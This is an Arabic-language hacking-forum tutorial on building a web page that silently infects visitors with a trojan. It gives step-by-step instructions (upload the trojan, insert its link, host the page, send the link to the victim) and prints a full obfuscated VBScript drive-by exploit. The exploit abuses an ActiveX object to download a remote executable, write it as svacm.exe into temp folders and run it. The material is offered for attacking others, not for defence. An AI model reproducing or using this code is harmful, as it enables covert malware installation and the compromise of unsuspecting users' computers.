سلام الله على الجميع
كيفكم اعزائي مديري ومشرفي وزوار منتديات الجيوش
الصحة والعافية انشاء الله
ساخصص طرحي هدا انشاء الله الى تلغيم صفحة الانترنت بباتش
ونبدأ على بركة الله
فكرة الصفحه الملغمه بباتش :
عباره عن صفحه مبرمجه بلغة html او php تضع بوسطها رابط باتشك المباشر
واذا دخل اي واح دعلى الصفحه راح ينزل الباتش بجهاز ويشتغل بدون ما يحس ..... وبكذا راح تخترقه...
مثل: صفحه ملغمه بباتش وتكون فاضيه بيضا ..
ومثل : صفحه ملغمه بباتش وبوسطها صوره ( اذا فتح الضحيه الصفحه راح تطلع له الصوره ) ..
اول خطوه نرفع الباتش على موقع رفع اي موقع رفع
ثانيا نفتح الثغره بالمفكره
بعدها نستبدل الليموضح لنا برابطا لباتش المرفوع
http://www.site.com/server.exe
واذا كانت فيه صوره نحط رابط ايصورهتعجبك نستبدل هذاالرابط برابط الصوره
http://www.site.com/image.jpg
ونحفظها بصيغة html
مثل انكتبا لاسم index.html
بعدها نرفع الصفحه الملغمه الى موقعك الخاص ونعطي الرابط الضحيه.....
نجرب الثغره
كود:<html> <head> <title>Exploit-Pro</title> </head> <body> <script type="text/vbscript"> on error resume next Set df = document.createElement("object") df.setAttribute "clas"&"sid", "clsid:BD96C"&"556-65A3-11D0-"&"983A-00C04F"&"C29E36" str="Microsoft"&"."&"XMLHTTP" Set x = df.CreateObject(str,"") var1="Ad" var2="od" var3="b." var4="St" var5="re" var6="am" str1=var1&var2&var3&var4&var5&var6 str5=str1 set S = df.createobject(str5,"") for count = 0 to 4 S.type = 1 lnk="هنا نضع برابط الباتش المرفوع " x.Open "G"&"E"&"T",lnk,0 x.Send set F = df.createobject("Script"&"ing.FileSys"&"temObject" ,"") if count = 0 then tmp = "c:\windows\temp" else if count = 1 then tmp = "c:\" else if count = 2 then tmp = "c:\temp" else if count = 3 then tmp = "d:\windows\temp" else if count = 4 then tmp = "d:\" end if fname1= F.BuildPath(tmp,"\svacm.exe") S.open S.write x.responseBody S.savetofile fname1,2 S.close if err.number = 0 then set Q = df.createobject("****l.Application","") Q.****lExecute fname1,"INSTALL","","open",0 exit for else Err.Clear End if next </script> </body> </html> <head> <img border="0" src=" برابط الصوره هنا نضع" <hr> <!-- **********location.href='http://google.com/'</script> --> </body> </html>
ونحفظها بصيغة html
واليكم الصورة النهائية
الجزء التاني
رفع الصفحة الملغمة
ندخل على الموقع
من هنا
H@cKer F@$$i
انتهى بفضل الله
المفضلات